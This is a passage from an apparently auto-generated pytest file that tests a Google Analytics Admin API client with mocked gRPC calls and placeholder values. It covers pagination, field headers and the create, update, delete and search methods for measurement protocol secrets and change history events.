measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
next_page_token="abc",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[], next_page_token="def",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[resources.MeasurementProtocolSecret(),],
next_page_token="ghi",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
),
RuntimeError,
)
pages = list(client.list_measurement_protocol_secrets(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
next_page_token="abc",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[], next_page_token="def",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[resources.MeasurementProtocolSecret(),],
next_page_token="ghi",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
),
RuntimeError,
)
async_pager = await client.list_measurement_protocol_secrets(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, resources.MeasurementProtocolSecret) for i in responses
)
@pytest.mark.asyncio
async def test_list_measurement_protocol_secrets_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_measurement_protocol_secrets),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
next_page_token="abc",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[], next_page_token="def",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[resources.MeasurementProtocolSecret(),],
next_page_token="ghi",
),
analytics_admin.ListMeasurementProtocolSecretsResponse(
measurement_protocol_secrets=[
resources.MeasurementProtocolSecret(),
resources.MeasurementProtocolSecret(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_measurement_protocol_secrets(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_measurement_protocol_secret(
transport: str = "grpc",
request_type=analytics_admin.CreateMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
response = client.create_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
def test_create_measurement_protocol_secret_from_dict():
test_create_measurement_protocol_secret(request_type=dict)
def test_create_measurement_protocol_secret_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
client.create_measurement_protocol_secret()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateMeasurementProtocolSecretRequest()
@pytest.mark.asyncio
async def test_create_measurement_protocol_secret_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
)
response = await client.create_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
@pytest.mark.asyncio
async def test_create_measurement_protocol_secret_async_from_dict():
await test_create_measurement_protocol_secret_async(request_type=dict)
def test_create_measurement_protocol_secret_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateMeasurementProtocolSecretRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
call.return_value = resources.MeasurementProtocolSecret()
client.create_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_measurement_protocol_secret_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateMeasurementProtocolSecretRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
await client.create_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_measurement_protocol_secret_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_measurement_protocol_secret(
parent="parent_value",
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].measurement_protocol_secret == resources.MeasurementProtocolSecret(
name="name_value"
)
def test_create_measurement_protocol_secret_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_measurement_protocol_secret(
analytics_admin.CreateMeasurementProtocolSecretRequest(),
parent="parent_value",
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
)
@pytest.mark.asyncio
async def test_create_measurement_protocol_secret_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_measurement_protocol_secret(
parent="parent_value",
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].measurement_protocol_secret == resources.MeasurementProtocolSecret(
name="name_value"
)
@pytest.mark.asyncio
async def test_create_measurement_protocol_secret_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_measurement_protocol_secret(
analytics_admin.CreateMeasurementProtocolSecretRequest(),
parent="parent_value",
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
)
def test_delete_measurement_protocol_secret(
transport: str = "grpc",
request_type=analytics_admin.DeleteMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_measurement_protocol_secret_from_dict():
test_delete_measurement_protocol_secret(request_type=dict)
def test_delete_measurement_protocol_secret_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
client.delete_measurement_protocol_secret()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteMeasurementProtocolSecretRequest()
@pytest.mark.asyncio
async def test_delete_measurement_protocol_secret_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_measurement_protocol_secret_async_from_dict():
await test_delete_measurement_protocol_secret_async(request_type=dict)
def test_delete_measurement_protocol_secret_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteMeasurementProtocolSecretRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
call.return_value = None
client.delete_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_measurement_protocol_secret_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteMeasurementProtocolSecretRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_measurement_protocol_secret_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_measurement_protocol_secret(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_measurement_protocol_secret_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_measurement_protocol_secret(
analytics_admin.DeleteMeasurementProtocolSecretRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_measurement_protocol_secret_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_measurement_protocol_secret(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_measurement_protocol_secret_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_measurement_protocol_secret(
analytics_admin.DeleteMeasurementProtocolSecretRequest(), name="name_value",
)
def test_update_measurement_protocol_secret(
transport: str = "grpc",
request_type=analytics_admin.UpdateMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
response = client.update_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
def test_update_measurement_protocol_secret_from_dict():
test_update_measurement_protocol_secret(request_type=dict)
def test_update_measurement_protocol_secret_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
client.update_measurement_protocol_secret()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateMeasurementProtocolSecretRequest()
@pytest.mark.asyncio
async def test_update_measurement_protocol_secret_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateMeasurementProtocolSecretRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret(
name="name_value",
display_name="display_name_value",
secret_value="secret_value_value",
)
)
response = await client.update_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateMeasurementProtocolSecretRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.MeasurementProtocolSecret)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.secret_value == "secret_value_value"
@pytest.mark.asyncio
async def test_update_measurement_protocol_secret_async_from_dict():
await test_update_measurement_protocol_secret_async(request_type=dict)
def test_update_measurement_protocol_secret_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateMeasurementProtocolSecretRequest()
request.measurement_protocol_secret.name = "measurement_protocol_secret.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
call.return_value = resources.MeasurementProtocolSecret()
client.update_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"measurement_protocol_secret.name=measurement_protocol_secret.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_measurement_protocol_secret_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateMeasurementProtocolSecretRequest()
request.measurement_protocol_secret.name = "measurement_protocol_secret.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
await client.update_measurement_protocol_secret(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"measurement_protocol_secret.name=measurement_protocol_secret.name/value",
) in kw["metadata"]
def test_update_measurement_protocol_secret_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_measurement_protocol_secret(
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[
0
].measurement_protocol_secret == resources.MeasurementProtocolSecret(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_measurement_protocol_secret_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_measurement_protocol_secret(
analytics_admin.UpdateMeasurementProtocolSecretRequest(),
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_measurement_protocol_secret_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_measurement_protocol_secret), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.MeasurementProtocolSecret()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.MeasurementProtocolSecret()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_measurement_protocol_secret(
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[
0
].measurement_protocol_secret == resources.MeasurementProtocolSecret(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_measurement_protocol_secret_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_measurement_protocol_secret(
analytics_admin.UpdateMeasurementProtocolSecretRequest(),
measurement_protocol_secret=resources.MeasurementProtocolSecret(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_search_change_history_events(
transport: str = "grpc",
request_type=analytics_admin.SearchChangeHistoryEventsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.SearchChangeHistoryEventsResponse(
next_page_token="next_page_token_value",
)
response = client.search_change_history_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.SearchChangeHistoryEventsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchChangeHistoryEventsPager)
assert response.next_page_token == "next_page_token_value"
def test_search_change_history_events_from_dict():
test_search_change_history_events(request_type=dict)
def test_search_change_history_events_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
client.search_change_history_events()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.SearchChangeHistoryEventsRequest()
@pytest.mark.asyncio
async def test_search_change_history_events_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.SearchChangeHistoryEventsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.SearchChangeHistoryEventsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.search_change_history_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.SearchChangeHistoryEventsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.SearchChangeHistoryEventsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_search_change_history_events_async_from_dict():
await test_search_change_history_events_async(request_type=dict)
def test_search_change_history_events_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.SearchChangeHistoryEventsRequest()
request.account = "account/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
call.return_value = analytics_admin.SearchChangeHistoryEventsResponse()
client.search_change_history_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "account=account/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_search_change_history_events_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.SearchChangeHistoryEventsRequest()
request.account = "account/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.SearchChangeHistoryEventsResponse()
)
await client.search_change_history_events(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "account=account/value",) in kw["metadata"]
def test_search_change_history_events_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
next_page_token="abc",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[], next_page_token="def",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[resources.ChangeHistoryEvent(),],
next_page_token="ghi",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("account", ""),)),
)
pager = client.search_change_history_events(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.ChangeHistoryEvent) for i in results)
def test_search_change_history_events_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
next_page_token="abc",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[], next_page_token="def",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[resources.ChangeHistoryEvent(),],
next_page_token="ghi",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
),
RuntimeError,
)
pages = list(client.search_change_history_events(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_search_change_history_events_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events),
"__call__",
